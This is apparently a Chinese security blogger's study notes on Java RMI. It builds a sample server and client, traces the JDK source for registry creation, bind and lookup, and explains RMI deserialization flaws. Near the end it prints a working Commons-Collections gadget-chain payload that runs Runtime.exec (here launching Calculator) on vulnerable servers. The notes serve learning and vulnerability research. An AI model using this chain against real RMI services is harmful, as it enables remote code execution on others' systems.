JAVA RMI学习笔记


阅读数: 次   

JAVA RMI 学习笔记

https://javasec.org/javase/RMI/

A机器上面有一个class，通过远程调用，B机器调用这个class 中的方法。

RMI 定义

Java远程方法调用，即Java RMI (Java Remote Method Invocation)，实现远程过程调用的应用程序编程接口。

它使客户机上运行的程序可以直接调用远程服务器上的对象。

在RMI中对象是通过序列化方式进行编码传输的。（基于序列化和反序列化就可能存在反序列化漏洞了）

RMI的基础是接口，RMI构架基于一个重要的原理：定义接口 和 定义接口的具体 实现是分开的。

逻辑图

图1

img

图2

img

RMI 能让一个Java程序去调用网络中另一台计算机的Java对象的方法，那么调用的效果就像是在本机上调用一样。

通俗的讲：A机器上面有一个class，通过远程调用，B机器调用这个class 中的方法。

RMI 结构

RMI主要分为三部分

  • RMI Registry注册中心
  • RMI Client 客户端
  • RMI Server服务端

测试实例

RMIIntface.java

1
2
3
4
5
6
7
8
package com.rmi.test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String hello() throws RemoteException;
}

RMIImpl.java 继承上面接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.rmi.test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIImpl() throws RemoteException {
        super();
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("call hello().");
        return "this is hello().";
    }

}

RMIServer.java 创建一个服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.rmi.test;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {


    public static void main(String[] args) {
        try {
            // 创建一个服务
            RMIInterface rmiInterface = new RMIImpl();
            // 注册RMI端口
            Registry registry =  LocateRegistry.createRegistry(8989);

            // 服务命名绑定
            registry.bind("hello", rmiInterface);

            System.out.println("启动RMI服务在: " + "8989");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

RMIClient.java 用户去访问 对应端口 并通过远程 的对象调用其方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.rmi.test;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8989);
            // 获取所有注册的服务
            String[] list = registry.list();
            for (String i : list) {
                System.out.println("已经注册的服务：" + i);
            }

            // 寻找RMI_NAME对应的RMI实例
            RMIInterface rt = (RMIInterface) registry.lookup("hello");

            // 调用Server的hello()方法,并拿到返回值.
            String result = rt.hello();

            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

操作步骤

  1. 启动RMIServer

    先创建一个 Hello 对象

    注册端口 8989

    将服务名进行绑定完成操作

  2. 启动 RMIClient

    获得对应的服务注册机

    通过服务名 找到对应的RMI 实例

    调用对应的实例的方法

  3. 实现远程函数调用

在客户端和服务器各有一个代理，客户端的代理叫Stub，服务端的代理叫Skeleton。

结果

RMIServer 先打印 启动RMI服务在 hello。 当RMIClient 调用了 hello 方法后才回答应 call hello()

image-20200926185440429

RMIClient 找到对应的 服务然后调用远程 实例的 方法得到返回值

image-20200926185612955

远程 会执行 System.ou.printl("call hello()"); 然后 RMIClient 得到返回值 "this is hello()"

所以才出现了 调用 hello() 函数后 RMIServer 和 RMIClient 的结果不一样

image-20200926185659706

上面的实例参考https://y4er.com/post/java-rmi/

RMI 反序列化漏洞介绍

RMI通信中所有的对象都是通过Java序列化传输的，在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

为了了解 RMI 对应发反序列化漏洞的实现机制。

我们需要对 RMI 实现源码进行一个分析

前景知识：复现的时候需要JDK8 121以下版本，121及以后加了白名单限制，

RMI 实现源码分析

参考分析

https://blog.csdn.net/qq_20597727/article/details/80861906

https://www.jianshu.com/p/77f20da39af9?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

https://payloads.info/2020/06/21/Java%E5%AE%89%E5%85%A8-RMI-%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/#%E6%9C%AC%E5%9C%B0%E8%8E%B7%E5%8F%96%E6%B3%A8%E5%86%8C%E4%B8%AD%E5%BF%83

RMIServer.java 源码实现分析

LocateRegistry.createRegistry(port) 分析

在 RMIServer.java 中 会调用 createRegistry(port) 函数来创建端口

image-20201002163107774

createRegistry(port) 函数中

这个函数 有两个方法 对应不同的参数 只分析当前函数中的指令

LocateRegistry.java 202 行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
  * Creates and exports a <code>Registry</code> instance on the local
  * host that accepts requests on the specified <code>port</code>.
  *
  * <p>The <code>Registry</code> instance is exported as if the static
  * {@link UnicastRemoteObject#exportObject(Remote,int)
  * UnicastRemoteObject.exportObject} method is invoked, passing the
  * <code>Registry</code> instance and the specified <code>port</code> as
  * arguments, except that the <code>Registry</code> instance is
  * exported with a well-known object identifier, an {@link ObjID}
  * instance constructed with the value {@link ObjID#REGISTRY_ID}.
  *
  * @param port the port on which the registry accepts requests
  * @return the registry
  * @exception RemoteException if the registry could not be exported
  * @since 1.1
  **/
 public static Registry createRegistry(int port) throws RemoteException {
     return new RegistryImpl(port);
 }

返回一个注册表对象。对象的参数为 port

然后我们查看 RegistryImpl 对象函数

RegistryImpl.class 构造函数的位置在 63行

1
2
3
4
public RegistryImpl(int var1) throws RemoteException {
    LiveRef var2 = new LiveRef(id, var1);
    this.setup(new UnicastServerRef(var2));
}

第一行函数 对我们的 输入进行一个封装并返回 对应的 LiveRef 类

1
2
3
public LiveRef(ObjID objID, int port) {
    this(objID, TCPEndpoint.getLocalEndpoint(port), true);
}

调用构造函数进行了一个 封装

image-20201002182239819

接着会调用

this.setup(new UnicastServerRef(var2)); 函数

但是在 调用 setup 函数之前。 会 new UnicastServerRef(var2) 创建一个新的对象。

这个对象没有干实际作用。

UnicastServerRef.java

1
2
3
4
5
6
7
8
9
public UnicastServerRef(LiveRef ref) {
    super(ref);
    this.filter = null;
}

super:
	    public UnicastRef(LiveRef liveRef) {
        ref = liveRef;
    }

赋值 ref 值。

然后调用 setup 函数，函数参数为 UnicastServerRef 对象

**setup函数 **

1
2
3
4
private void setup(UnicastServerRef var1) throws RemoteException {
    this.ref = var1;
    var1.exportObject(this, (Object)null, true);
}

这个函数会传入 var1 然后调用 var1 的 exportObject() 函数

exportObject() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
    Class var4 = var1.getClass();

    Remote var5;
    try {
        var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
    } catch (IllegalArgumentException var7) {
        throw new ExportException("remote object implements illegal remote interface", var7);
    }

    if (var5 instanceof RemoteStub) {
        this.setSkeleton(var1);
    }

    Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
    this.ref.exportObject(var6);
    this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
    return var5;
}

首先获得 这个 类

image-20201002205409327

var4 = “class sun.rmi.registry.RegistryImpl” 这个类

燃煤 调用了 Util.createProxy(var4, this.getClientRef(), this.forceStubUse); 函数

在这个函数中

createProxy() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Remote createProxy(Class<?> var0, RemoteRef var1, boolean var2) throws StubNotFoundException {
        Class var3;
        try {
            var3 = getRemoteClass(var0);
        } catch (ClassNotFoundException var9) {
            throw new StubNotFoundException("object does not implement a remote interface: " + var0.getName());
        }

        if (var2 || !ignoreStubClasses && stubClassExists(var3)) {
            return createStub(var3, var1);
        } else {
            ClassLoader var4 = var0.getClassLoader();
            Class[] var5 = getRemoteInterfaces(var0);
            RemoteObjectInvocationHandler var6 = new RemoteObjectInvocationHandler(var1);

            try {
                return (Remote)Proxy.newProxyInstance(var4, var5, var6);
            } catch (IllegalArgumentException var8) {
                throw new StubNotFoundException("unable to create proxy", var8);
            }
        }
    }

会在 createStub 这个函数 后直接返回 

1
2
3
if (var2 || !ignoreStubClasses && stubClassExists(var3)) {
           return createStub(var3, var1);
       }

这个 createStub 函数 生成一个字符串 然后会返回一个 RegistryImpl_Stub 对象

创建了 一个对应的 Stub 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static RemoteStub createStub(Class<?> var0, RemoteRef var1) throws StubNotFoundException {
        String var2 = var0.getName() + "_Stub";

        try {
            Class var3 = Class.forName(var2, false, var0.getClassLoader());
            Constructor var4 = var3.getConstructor(stubConsParamTypes);
            return (RemoteStub)var4.newInstance(var1);
        } catch (ClassNotFoundException var5) {
            throw new StubNotFoundException("Stub class not found: " + var2, var5);
        } catch (NoSuchMethodException var6) {
            throw new StubNotFoundException("Stub class missing constructor: " + var2, var6);
        } catch (InstantiationException var7) {
            throw new StubNotFoundException("Can't create instance of stub class: " + var2, var7);
        } catch (IllegalAccessException var8) {
            throw new StubNotFoundException("Stub class constructor not public: " + var2, var8);
        } catch (InvocationTargetException var9) {
            throw new StubNotFoundException("Exception creating instance of stub class: " + var2, var9);
        } catch (ClassCastException var10) {
            throw new StubNotFoundException("Stub class not instance of RemoteStub: " + var2, var10);
        }
    }

当这个运行完了。这个 createProxy() 函数后会返回到

exportObject() 函数

image-20201002210811661

然后会运行到 this.setSkeleton(var1); 函数

传入的 var1 参数 RegistryImpl[UnicastServerRef [liveRef: [endpoint:[192.168.1.173:8989](local),objID:[0:0:0, 0]]]]

setSkeleton() 函数

1
2
3
4
5
6
7
8
9
10
public void setSkeleton(Remote var1) throws RemoteException {
    if (!withoutSkeletons.containsKey(var1.getClass())) {
        try {
            this.skel = Util.createSkeleton(var1);
        } catch (SkeletonNotFoundException var3) {
            withoutSkeletons.put(var1.getClass(), (Object)null);
        }
    }

}

调用 createSkeleton 函数（和createStub 函数一样返回一个对象 RegistryImpl_Skel 对象

创建一个对应的 Skeleton

createSkeleton 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static Skeleton createSkeleton(Remote var0) throws SkeletonNotFoundException {
    Class var1;
    try {
        var1 = getRemoteClass(var0.getClass());
    } catch (ClassNotFoundException var8) {
        throw new SkeletonNotFoundException("object does not implement a remote interface: " + var0.getClass().getName());
    }

    String var2 = var1.getName() + "_Skel";

    try {
        Class var3 = Class.forName(var2, false, var1.getClassLoader());
        return (Skeleton)var3.newInstance();
    } catch (ClassNotFoundException var4) {
        throw new SkeletonNotFoundException("Skeleton class not found: " + var2, var4);
    } catch (InstantiationException var5) {
        throw new SkeletonNotFoundException("Can't create skeleton: " + var2, var5);
    } catch (IllegalAccessException var6) {
        throw new SkeletonNotFoundException("No public constructor: " + var2, var6);
    } catch (ClassCastException var7) {
        throw new SkeletonNotFoundException("Skeleton not of correct class: " + var2, var7);
    }
}

生成了这两个类后 会返回到 exportObject() 函数 创建一个 Target 类

Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);

对于这个 Target 类

里面 封装了 前面的函数生成 的 Sub Skel 等

image-20201002213847567

然后调用 this.ref.exportObject(var6); 函数 参数为 上一步创建的 Target 类

1
2
3
4
5
6
7
8
setup#exportObject  - > createProxy (生成Stub)
									 |
									  - > setSkeleton (生成Skeleton)
						 			 |
						  			- > Target 封装
						 			 |
						  			- > exportObject 函数 - > exportObject(Target var1) 函数 - > listen()
registry.bind(“hello”, rmiInterface); 分析

然后我们会调用 Registry 对象的 bind 方法。

绑定服务名和服务

1
2
3
4
5
6
7
8
9
10
11
public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
    checkAccess("Registry.bind");
    synchronized(this.bindings) {
        Remote var4 = (Remote)this.bindings.get(var1);
        if (var4 != null) {
            throw new AlreadyBoundException(var1);
        } else {
            this.bindings.put(var1, var2);
        }
    }
}

利用 bindings.put 函数进行绑定。

这样我们的 RMISever 就启动成功了

RMIClient.java 分析

客户端分析

框出来两个关键函数

image-20201003113952728

LocateRegistry.getRegistry(ip, port);

传入参数 host 和 port

这个方法做的事情是通过传入的host和port构造RemoteRef对象，并创建了一个本地代理。

getRegistry() 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static Registry getRegistry(String host, int port,
                                   RMIClientSocketFactory csf)
    throws RemoteException
{
    Registry registry = null;

    if (port <= 0)
        port = Registry.REGISTRY_PORT;

    if (host == null || host.length() == 0) {
        // If host is blank (as returned by "file:" URL in 1.0.2 used in
        // java.rmi.Naming), try to convert to real local host name so
        // that the RegistryImpl's checkAccess will not fail.
        try {
            host = java.net.InetAddress.getLocalHost().getHostAddress();
        } catch (Exception e) {
            // If that failed, at least try "" (localhost) anyway...
            host = "";
        }
    }

    /*
     * Create a proxy for the registry with the given host, port, and
     * client socket factory.  If the supplied client socket factory is
     * null, then the ref type is a UnicastRef, otherwise the ref type
     * is a UnicastRef2.  If the property
     * java.rmi.server.ignoreStubClasses is true, then the proxy
     * returned is an instance of a dynamic proxy class that implements
     * the Registry interface; otherwise the proxy returned is an
     * instance of the pregenerated stub class for RegistryImpl.
     **/
    LiveRef liveRef =
        new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                    new TCPEndpoint(host, port, csf, null),
                    false);
    RemoteRef ref =
        (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

    return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}

开始穿件一个 liveRef 对象

然后更具下面的代码 

1
2
RemoteRef ref =
    (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

如果 csf 从而生成 需要的 UnicastRef 或者 UnicastRef2

然后利用 (Registry) Util.createProxy(RegistryImpl.class, ref, false);

传入的值 是封装了 (hots,port) 等

然后构造 出 RemoteRef 对象 并创建了一个本地代理。

image-20201003144338244

registry.lookup(name)

Lookup 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var18) {
            throw new MarshalException("error marshalling arguments", var18);
        }

        super.ref.invoke(var2);

        Remote var23;
        try {
            ObjectInput var6 = var2.getInputStream();
            var23 = (Remote)var6.readObject();
        } catch (IOException var15) {
            throw new UnmarshalException("error unmarshalling return", var15);
        } catch (ClassNotFoundException var16) {
            throw new UnmarshalException("error unmarshalling return", var16);
        } finally {
            super.ref.done(var2);
        }

        return var23;
    } catch (RuntimeException var19) {
        throw var19;
    } catch (RemoteException var20) {
        throw var20;
    } catch (NotBoundException var21) {
        throw var21;
    } catch (Exception var22) {
        throw new UnexpectedException("undeclared checked exception", var22);
    }
}

Lookup 函数更具传入的 服务名称查找对应服务

第3行的 代码 ，利用上面通过服务端host和port等信息创建的RegistryImpl_stub对象构造RemoteCall调用对象

image-20201003151304615

newcall 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public RemoteCall newCall(RemoteObject obj, Operation[] ops, int opnum,
                          long hash)
    throws RemoteException
{
    clientRefLog.log(Log.BRIEF, "get connection");

    Connection conn = ref.getChannel().newConnection();
    try {
        clientRefLog.log(Log.VERBOSE, "create call context");

        /* log information about the outgoing call */
        if (clientCallLog.isLoggable(Log.VERBOSE)) {
            logClientCall(obj, ops[opnum]);
        }

        RemoteCall call =
            new StreamRemoteCall(conn, ref.getObjID(), opnum, hash);
        try {
            marshalCustomCallData(call.getOutputStream());
        } catch (IOException e) {
            throw new MarshalException("error marshaling " +
                                       "custom call data");
        }
        return call;
    } catch (RemoteException e) {
        ref.getChannel().free(conn, false);
        throw e;
    }
}

利用 NewCall 方法建立了 建立了跟远程 RegistryImpl 的 Skeleton 对象的连接。

运行完 newcall 函数后 会返回到 lookup 函数

然后与远程的注册机进行交互 序列化 我们的 name (“hello”) 

1
2
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_String_1);

然后往下有一个

super.ref.invoke(var2); 函数

这个函数 里面调用了 call.executeCall() => StreamRemoteCall.executeCall() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public void invoke(RemoteCall call) throws Exception {
    try {
        clientRefLog.log(Log.VERBOSE, "execute call");

        call.executeCall();

    } catch (RemoteException e) {
        /*
         * Call did not complete; connection can't be reused.
         */
        clientRefLog.log(Log.BRIEF, "exception: ", e);
        free(call, false);
        throw e;

    } catch (Error e) {
        /* If errors occurred, the connection is most likely not
         *  reusable.
         */
        clientRefLog.log(Log.BRIEF, "error: ", e);
        free(call, false);
        throw e;

    } catch (RuntimeException e) {
        /*
         * REMIND: Since runtime exceptions are no longer wrapped,
         * we can't assue that the connection was left in
         * a reusable state. Is this okay?
         */
        clientRefLog.log(Log.BRIEF, "exception: ", e);
        free(call, false);
        throw e;

    } catch (Exception e) {
        /*
         * Assume that these other exceptions are user exceptions
         * and leave the connection in a reusable state.
         */
        clientRefLog.log(Log.BRIEF, "exception: ", e);
        free(call, true);
        /* reraise user (and unknown) exceptions. */
        throw e;
    }

    /*
     * Don't free the connection if an exception did not
     * occur because the stub needs to unmarshal the
     * return value. The connection will be freed
     * by a call to the "done" method.
     */
}

StreamRemoteCall.executeCall() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public void executeCall() throws Exception {
    DGCAckHandler var2 = null;

    byte var1;
    try {
        if (this.out != null) {
            var2 = this.out.getDGCAckHandler();
        }

        this.releaseOutputStream();
        DataInputStream var3 = new DataInputStream(this.conn.getInputStream());
        byte var4 = var3.readByte();
        if (var4 != 81) {
            if (Transport.transportLog.isLoggable(Log.BRIEF)) {
                Transport.transportLog.log(Log.BRIEF, "transport return code invalid: " + var4);
            }

            throw new UnmarshalException("Transport return code invalid");
        }

        this.getInputStream();
        var1 = this.in.readByte();
        this.in.readID();
    } catch (UnmarshalException var11) {
        throw var11;
    } catch (IOException var12) {
        throw new UnmarshalException("Error unmarshaling return header", var12);
    } finally {
        if (var2 != null) {
            var2.release();
        }

    }

    switch(var1) {
    case 1:
        return;
    case 2:
        Object var14;
        try {
            var14 = this.in.readObject();
        } catch (Exception var10) {
            throw new UnmarshalException("Error unmarshaling return", var10);
        }

        if (!(var14 instanceof Exception)) {
            throw new UnmarshalException("Return type not Exception");
        } else {
            this.exceptionReceivedFromServer((Exception)var14);
        }
    default:
        if (Transport.transportLog.isLoggable(Log.BRIEF)) {
            Transport.transportLog.log(Log.BRIEF, "return code invalid: " + var1);
        }

        throw new UnmarshalException("Return code invalid");
    }
}

在执行完 try 里面的代码后，我们的查询请求就已经发送给服务器了。

然后服务器 会 调用 sun.rmi.registry.RegistryImpl_Skel#dispatch 函数中的 反序列化对客户端的进行反序列化，从而实现调用。

接着返回一个 客户端HelloServiceImpl的Stub对象 的序列化

然后回到

lookup 函数

下面一个 try 进行对序列化 生成 stub 对象

从而进行返回。

image-20201004110639395

最终实现远程调用。

实际的实现。

  1. RMIServer 生成 Skeleton 对象。并且暴露接口
  2. RMIClient 过 LocateRegistry 或者 Naming 方式到 RMI 注册表寻找要调用的 RMI 注册信息。找到 RMI 事务注册信息后，Client 会从 RMI 注册表获取这个 RMI Remote Service 的Stub
  3. 从而实现远程调用
  • 客户端获取的Stub 作为 RMI Client 的代理访问 Remote Service 的代理Skeleton。
  • 也就是 Stub 和 Skeleton 的调用过程 并布置直接访问 服务器。而是公共注册机进行访问

这里写图片描述

图片地址

https://blog.csdn.net/qq_20597727/article/details/80861906

RMI 恶意代码调用

测试代码:

  • 服务端JDK版本为JDK1.7u21
  • 服务端存在Commons-Collections3.1或其他可利用组件。

https://xz.aliyun.com/t/7900#toc-8

实现机制：RMI 在通信过程中，对象都会通过 系列化进行传输。其中就存在了，序列化和反序列化操作。从而可能会出现反序列化漏洞，调用恶意代码。

如果想调用 RMI 通过反序列化实现 恶意代码调用。

我们需要利用到上一篇文章的 反序列化，反射等。

不管是 服务器攻击客户端 还是 客户端攻击服务器 都利用相同的 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static Object payload() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }

Jdk 8u71 以前的版本上。这个payload 不能使用

Java 官⽅修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数：

在这个函数中 新建了一个 LinkedHashMap 对象，我们原本的 Map 的对象的操作变成了 基于 LinkedHashMap对象的 以前的 Map 里面的set或put 操作不再被执行，所以不能RCE了。

赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

很惭愧<br><br>只做了一点微小的工作<br>谢谢大家